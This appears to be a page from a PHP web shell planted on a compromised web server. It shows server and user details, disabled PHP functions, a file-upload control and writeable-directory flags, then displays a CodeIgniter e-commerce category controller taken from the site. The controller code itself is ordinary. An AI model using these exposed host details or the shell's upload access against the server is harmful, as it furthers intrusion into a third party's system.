https://t.me/RX1948
Server : Apache/2.4.18 (Ubuntu)
System : Linux canvaswebdesign 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64
User : oppastar ( 1041)
PHP Version : 7.0.33-0ubuntu0.16.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Directory :  /var/www/ptbos.biz/public_html/application/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/ptbos.biz/public_html/application/controllers/Category.php
<?php defined('BASEPATH') OR exit('No direct script access allowed');

class Category extends Public_Controller {

	public function __construct() {
		parent::__construct(); 
		$this->session->set_userdata('site_lang','indonesian'); 
	}

	public function get($alias_level1 = NULL, $alias_level2 = NULL, $alias_level3 = NULL) { 

		error_reporting(0);

		// var_dump($alias_level1); exit();

		if ($alias_level1 == NULL) { show_404(); } 

		if ($alias_level1 !== NULL && $alias_level1 != 'all-categories') {

			// if($this->session->userdata('site_lang') == 'english') {
				
			// 	//check if this category alias exist 
			// 	$this->db->select('id_categories')->from('categories')->where('alias_en', $alias_level1)->where('parent', NULL)->where('status', 1);
			// 	$count_category_en = $this->db->get()->num_rows();  
				
			// 	if ($count_category_en == 0) {
					
			// 		//category not exist in english alias. So check to indonesian
			// 		$this->db->select('id_categories')->from('categories')->where('alias', $alias_level1)->where('parent', NULL)->where('status', 1);
			// 		$count_category_ind = $this->db->get()->num_rows();  

			// 		if($count_category_ind == 0) {

			// 			show_404();	

			// 		} else {

			// 			//category exist in indonesian. get category parameter
			// 			$this->db->select('*')->from('categories')->where('alias', $alias_level1);
			// 			$level1 = $this->db->get()->row(); 
						
			// 			$this->data['level1_id'] = $level1->id_categories; 
			// 			$this->data['level1_title'] = $level1->category;
			// 			$this->data['level1_alias'] = $alias_level1; 

			// 			//change the website session language to indonesian
			// 			$this->session->set_userdata('site_lang', 'indonesian');
			// 			$this->load->helper('language');
			// 			$this->lang->load('website','indonesian'); 
			// 		}	

			// 	} else {

			// 		//category exist for english
			// 		$this->db->select('*')->from('categories')->where('alias_en', $alias_level1);
			// 		$level1 = $this->db->get()->row(); 
					
			// 		$this->data['level1_id'] = $level1->id_categories; 
			// 		$this->data['level1_title'] = $level1->category_en;
			// 		$this->data['level1_alias'] = $alias_level1; 

			// 		//change the website session language to english
			// 		$this->session->set_userdata('site_lang', 'english');
			// 		$this->load->helper('language');
			// 		$this->lang->load('website','english'); 

			// 	}	

			// } 
			// else {				

				//session userdata is Indonesian
				//check if this category alias exist 
				$this->db->select('id_categories')->from('categories')->where('alias', $alias_level1)->where('parent', NULL)->where('status', 1);
				$count_category = $this->db->get()->num_rows();  
				
				if ($count_category == 0) {
					
					//category not exist in indonesian alias. So check to english
					$this->db->select('id_categories')->from('categories')->where('alias_en', $alias_level1)->where('status', 1);
					$count_category_en = $this->db->get()->num_rows(); 

					if($count_category_en == 0) {
						
						show_404();	

					} else {

						//category exist in english. get category parameter
						$this->db->select('*')->from('categories')->where('alias_en', $alias_level1);
						$level1 = $this->db->get()->row(); 
						
						$this->data['level1_id'] = $level1->id_categories; 
						$this->data['level1_title'] = $level1->category_en;
						$this->data['level1_alias'] = $alias_level1; 

						//change the website session language to english
						$this->session->set_userdata('site_lang', 'english');
						$this->load->helper('language');
						$this->lang->load('website','english'); 
					}	

				} else {

					//category exist for indonesian
					$this->db->select('*')->from('categories')->where('alias', $alias_level1);
					$level1 = $this->db->get()->row(); 
					
					$this->data['level1_id'] = $level1->id_categories; 
					$this->data['level1_title'] = $level1->category;
					$this->data['level1_alias'] = $alias_level1; 

					//change the website session language to indonesian
					$this->session->set_userdata('site_lang', 'indonesian');
					$this->load->helper('language');
					$this->lang->load('website','indonesian'); 

				}

			// }
		}
		
		//get id for alias level2
		if ($alias_level2 != NULL) {

			if (is_numeric($alias_level2)) {
				# the numeric is for pagination.
				//do nothing...
			} else {

				// if($this->session->userdata('site_lang') == 'english') {

				// 	//check if this category alias exist 
				// 	$this->db->select('id_categories')->from('categories')->where('alias_en', 
				// 	$alias_level2)->where('parent', $level1->id_categories)->where('status', 1);
				// 	$count_category = $this->db->get()->num_rows(); 
					
				// 	if ($count_category > 0) {

				// 		//category for english exist
				// 		//if exist, get the Category Id for level 2 category
				// 		$this->db->select('id_categories, category_en')->from('categories')->where('alias_en', $alias_level2)->where('parent', $level1->id_categories);
				// 		$level2 = $this->db->get()->row(); 

				// 		$this->data['level2_id'] = $level2->id_categories; 
				// 		$this->data['level2_title'] = $level2->category_en;
				// 		$this->data['level2_alias'] = $alias_level2; 
					
				// 	} else {

				// 		//category english not exist, check for indonesian
				// 		//check if this category alias exist 
				// 		$this->db->select('id_categories')->from('categories')->where('alias', 
				// 		$alias_level2)->where('parent', $level1->id_categories)->where('status', 1);
				// 		$count_category = $this->db->get()->num_rows(); 

				// 		if($count_category > 0) {
				// 			//category exist
				// 			$this->db->select('id_categories, category')->from('categories')->where('alias', $alias_level2)->where('parent', $level1->id_categories);
				// 			$level2 = $this->db->get()->row(); 
	
				// 			$this->data['level2_id'] = $level2->id_categories; 
				// 			$this->data['level2_title'] = $level2->category;
				// 			$this->data['level2_alias'] = $alias_level2; 

				// 		} else {
				// 			//category not exist
				// 			show_404();
				// 		}

				// 	}

				// } else {
					//session language is indonesian
					//check if this category alias exist 
					$this->db->select('id_categories')->from('categories')->where('alias', 
					$alias_level2)->where('parent', $level1->id_categories)->where('status', 1);
					$count_category = $this->db->get()->num_rows(); 
					
					if ($count_category > 0) {

						//category for indonesian exist
						//if exist, get the Category Id for level 2 category
						$this->db->select('id_categories, category')->from('categories')->where('alias', $alias_level2)->where('parent', $level1->id_categories);
						$level2 = $this->db->get()->row(); 

						$this->data['level2_id'] = $level2->id_categories; 
						$this->data['level2_title'] = $level2->category;
						$this->data['level2_alias'] = $alias_level2; 
					
					} else {

						//category indonesian not exist, check for english
						//check if this category alias exist 
						$this->db->select('id_categories')->from('categories')->where('alias_en', 
						$alias_level2)->where('parent', $level1->id_categories)->where('status', 1);
						$count_category = $this->db->get()->num_rows(); 

						if($count_category > 0) {
							//category exist
							$this->db->select('id_categories, category_en')->from('categories')->where('alias_en', $alias_level2)->where('parent', $level1->id_categories);
							$level2 = $this->db->get()->row(); 
	
							$this->data['level2_id'] = $level2->id_categories; 
							$this->data['level2_title'] = $level2->category_en;
							$this->data['level2_alias'] = $alias_level2; 

						} else {
							//category not exist
							show_404();
						}
					}
				// }	
			}	
		}

		//get id for alias level3
		if ($alias_level3 != NULL) {

			if (is_numeric($alias_level3)) {
				//Numeric is for pagination. do nothing...
			} else {

				// if($this->session->userdata('site_lang') == 'english') {
					
				// 	//session website english
				// 	//check if this category alias exist 
				// 	$this->db->select('id_categories')->from('categories')->where('alias_en', 
				// 	$alias_level3)->where('parent', $level2->id_categories)->where('status', 1);
				// 	$count_category = $this->db->get()->num_rows(); 
				// 	if ($count_category > 0) {

				// 		//category exist in english
				// 		//if exist, get the Category Id & label for level 3 category
				// 		$this->db->select('id_categories, category_en')->from('categories')->where('alias_en', $alias_level3)->where('parent', $level2->id_categories);
				// 		$level3 = $this->db->get()->row(); 

				// 		$this->data['level3_id'] = $level3->id_categories; 
				// 		$this->data['level3_title'] = $level3->category_en;
				// 		$this->data['level3_alias'] = $alias_level3;

				// 	} else {

				// 		//category not exist in english, check for indonesian
				// 		$this->db->select('id_categories')->from('categories')->where('alias', 
				// 		$alias_level3)->where('parent', $level2->id_categories)->where('status', 1);
				// 		$count_category = $this->db->get()->num_rows(); 
				// 		if ($count_category > 0) {

				// 			//if exist, get the Category Id & label for level 3 category
				// 			$this->db->select('id_categories, category')->from('categories')->where('alias', $alias_level3)->where('parent', $level2->id_categories);
				// 			$level3 = $this->db->get()->row(); 

				// 			$this->data['level3_id'] = $level3->id_categories; 
				// 			$this->data['level3_title'] = $level3->category;
				// 			$this->data['level3_alias'] = $alias_level3;

				// 		} else {

				// 			show_404();

				// 		}
				// 	}

				// } else {

					//session website indonesian
					//check if this category alias exist 
					$this->db->select('id_categories')->from('categories')->where('alias', 
					$alias_level3)->where('parent', $level2->id_categories)->where('status', 1);
					$count_category = $this->db->get()->num_rows(); 
					if ($count_category > 0) {

						//category exist in indonesian
						//if exist, get the Category Id & label for level 3 category
						$this->db->select('id_categories, category')->from('categories')->where('alias', $alias_level3)->where('parent', $level2->id_categories);
						$level3 = $this->db->get()->row(); 

						$this->data['level3_id'] = $level3->id_categories; 
						$this->data['level3_title'] = $level3->category;
						$this->data['level3_alias'] = $alias_level3;

					} else {

						//category not exist in indonesian, check for english
						$this->db->select('id_categories')->from('categories')->where('alias_en', 
						$alias_level3)->where('parent', $level2->id_categories)->where('status', 1);
						$count_category = $this->db->get()->num_rows(); 
						if ($count_category > 0) {

							//if exist, get the Category Id & label for level 3 category
							$this->db->select('id_categories, category_en')->from('categories')->where('alias_en', $alias_level3)->where('parent', $level2->id_categories);
							$level3 = $this->db->get()->row(); 

							$this->data['level3_id'] = $level3->id_categories; 
							$this->data['level3_title'] = $level3->category_en;
							$this->data['level3_alias'] = $alias_level3;

						} else {

							show_404();

						}
					}
				// }
			}	
		}

		//Load model product_m
		$this->load->model('product_m');  

		//get no. of products per page (pagination) from configuration table
		$this->db->select('products_displayed')->from('configuration')->where('id_configuration', 1);
		$per_page = $this->db->get()->row();

		//user request level 1 category
		if ($alias_level1 != NULL && $alias_level1 != 'all-categories') {
			
			//get category parameters 
			$this->db->select('*')->from('categories')->where('id_categories', (int) $level1->id_categories)->where('parent', NULL);
			$this->data['category'] = $this->db->get()->row();

			//check if post sort_product is exist
			if ($this->input->post('sort_product')) {
				$this->session->set_userdata('sort_product', $this->input->post('sort_product'));
			}

			//PRODUCTS
			//pagination in action 
			$this->load->library('pagination');
			$config = array();
			$this->load->helper('pagination_helper');
			$config = pagination_format();
			$config['base_url'] = base_url() . 'category/' . $alias_level1 . '/'; 
			$config['total_rows'] = $this->product_m->count_products_by_category($this->data['category']->id_categories);    
			$config['per_page'] = $per_page->products_displayed;  
			$config['uri_segment'] = 3;
			$this->pagination->initialize($config);

			$this->data['sort_product_by'] = $this->session->userdata('sort_product');

			$this->data['sidebanner_active_category_id'] = $this->data['level1_id'];

			$this->data['total_products'] = $config['total_rows'];
			
	   		$this->data['products'] = $this->product_m->get_products_by_category($this->data['category']->id_categories, $config['per_page'], $this->uri->segment($config['uri_segment'])); 
		} 

		//user request level 2 category
		if ($alias_level2 != NULL && is_numeric($alias_level2) == FALSE) {
	
			//get category parameters 
			$this->db->select('*')->from('categories')->where('id_categories', 
				$level2->id_categories)->where('parent', $level1->id_categories);

			$this->data['category'] = $this->db->get()->row(); 

			//check if post sort_product is exist
			if ($this->input->post('sort_product')) {
				$this->session->set_userdata('sort_product', $this->input->post('sort_product'));
			}

			//PRODUCTS  
			//pagination in action 
			//get no. of products per page (pagination) from configuration table
			$this->load->library('pagination');
			$config = array();
			$this->load->helper('pagination_helper');
			$config = pagination_format();
			$config['base_url'] = base_url() . 'category/' . $alias_level1 . '/' . $alias_level2 . '/'; 
			$config['total_rows'] = $this->product_m->count_products_by_category($this->data['category']->id_categories);  
			$config['per_page'] = $per_page->products_displayed; 
			$config['uri_segment'] = 4; 
			$this->pagination->initialize($config);

			$this->data['sort_product_by'] = $this->session->userdata('sort_product');

			$this->data['sidebanner_active_category_id'] = $this->data['level2_id'];

			$this->data['total_products'] = $config['total_rows'];
			
	   		$this->data['products'] = $this->product_m->get_products_by_category($this->data['category']->id_categories, $config['per_page'], $this->uri->segment($config['uri_segment']));  
		} 

		//user request level 3 category 
		if ($alias_level3 != NULL && is_numeric($alias_level3) == FALSE) {
			
			//get category parameters 
			$this->db->select('*')->from('categories')->where('id_categories', 
				$level3->id_categories)->where('parent', $level2->id_categories);
			$this->data['category'] = $this->db->get()->row();

			//check if post sort_product is exist
			if ($this->input->post('sort_product')) {
				$this->session->set_userdata('sort_product', $this->input->post('sort_product'));
			}

			//PRODUCTS
			//pagination in action. 
			//get no. of products per page (pagination) from configuration table
			$this->db->select('products_displayed')->from('configuration')->where('id_configuration', 1);
			$per_page = $this->db->get()->row();

			$this->load->library('pagination');
			$config = array();
			$this->load->helper('pagination_helper');
			$config = pagination_format();
			$config['base_url'] = base_url() . 'category/' . $alias_level1 . '/' . $alias_level2 . '/' . $alias_level3 . '/'; 
			$config['total_rows'] = $this->product_m->count_products_by_category($this->data['category']->id_categories);   
			$config['per_page'] = $per_page->products_displayed;  
			$config['uri_segment'] = 5; 
			$this->pagination->initialize($config);

			$this->data['sort_product_by'] = $this->session->userdata('sort_product');
			
			$this->data['sidebanner_active_category_id'] = $this->data['level3_id'];

			$this->data['total_products'] = $config['total_rows'];
			
	   		$this->data['products'] = $this->product_m->get_products_by_category($this->data['category']->id_categories, $config['per_page'], $this->uri->segment($config['uri_segment'])); 
		}
		
	    //set current category to session, so it can be track to product page
		if($alias_level1 != 'all-categories') {
			$this->session->set_userdata('current_viewed_category_id', $this->data['category']->id_categories);	
		}

		if ($alias_level1 == 'all-categories') {

			//check if post sort_product is exist
			if ($this->input->post('sort_product')) {
				$this->session->set_userdata('sort_product', $this->input->post('sort_product'));
			}

			//PRODUCTS
			//pagination in action. 
			//get no. of products per page (pagination) from configuration table
			$this->db->select('products_displayed')->from('configuration')->where('id_configuration', 1);
			$per_page = $this->db->get()->row(); 

			//PRODUCTS
			//pagination in action 
			$this->load->library('pagination');
			$config = array();
			$this->load->helper('pagination_helper');
			$config = pagination_format();
			$config['base_url'] = base_url() . 'category/all-categories/'; 
			$this->load->model('product_m');
			$config['total_rows'] = $this->product_m->count_products_all();
			$config['per_page'] = (int) $per_page->products_displayed; 
			$config['uri_segment'] = 3;
			$this->pagination->initialize($config); 
			
			$this->data['sort_product_by'] = $this->session->userdata('sort_product');

			$this->data['total_products'] = $config['total_rows'];

			$this->data['products'] = $this->product_m->get_products_all($config['per_page'], $this->uri->segment($config['uri_segment']));  

			//get all categories 
			$this->db->select('category, alias, thumbnail')->from('categories')->where('parent', NULL)->where('status', '1')->order_by('priority', 'ASC');
			$this->data['categories'] = $this->db->get()->result(); 
			
			//to display title on product_list view
			$this->data['product_list_title'] = 'all categories';

			//get SEO
			$this->db->select('website_name, meta_keywords')->from('configuration')->where('id_configuration', 1);
			$website_name = $this->db->get()->row();
			$this->data_header['browser_title'] =  ucwords($website_name->website_name) . ' - Shop'; 
			$this->data_header['meta_description'] = ucwords($website_name->website_name) . ' - Shop';
			$this->data_header['meta_keywords'] = $website_name->meta_keywords; 
		} 
		else {

			//get SEO
			$this->data_header['browser_title'] = 'Category - ' . ucwords(str_replace('-', ' ', $alias_level1)); 
			$this->data_header['meta_description'] = $this->data['category']->meta_description;
			$this->data_header['meta_keywords'] = $this->data['category']->meta_keywords;
		}

		$this->load->helper('product');

		$this->data['page'] = $this->db->select('category_landingpage_image as landingpage_image, category_landingpage_link as landingpage_title')->from('configuration')->where('id_configuration',1)->get()->row();

		//LOAD LANGUAGE FILES FOR PRODUCT LIST PAGE
		// if($this->session->userdata('site_lang') == 'english') {
		// 	$this->lang->load('product_list', 'english');
		// } 
		// else {
			$this->lang->load('product_list', 'indonesian');
		// }

		$this->data['products'] = $this->db->select('*')->from('products')->join('category_product','products.id_products=category_product.id_product')->join('categories','category_product.id_category=categories.id_categories')->where('categories.alias',$alias_level1)->where('products.product_status',1)->order_by('products.priority','ASC')->get()->result();

		$this->load->view('template/header', $this->data_header); 
		$this->load->view('product', $this->data);
		$this->load->view('template/footer', $this->data_footer); 
	}

}

https://t.me/RX1948 - 2025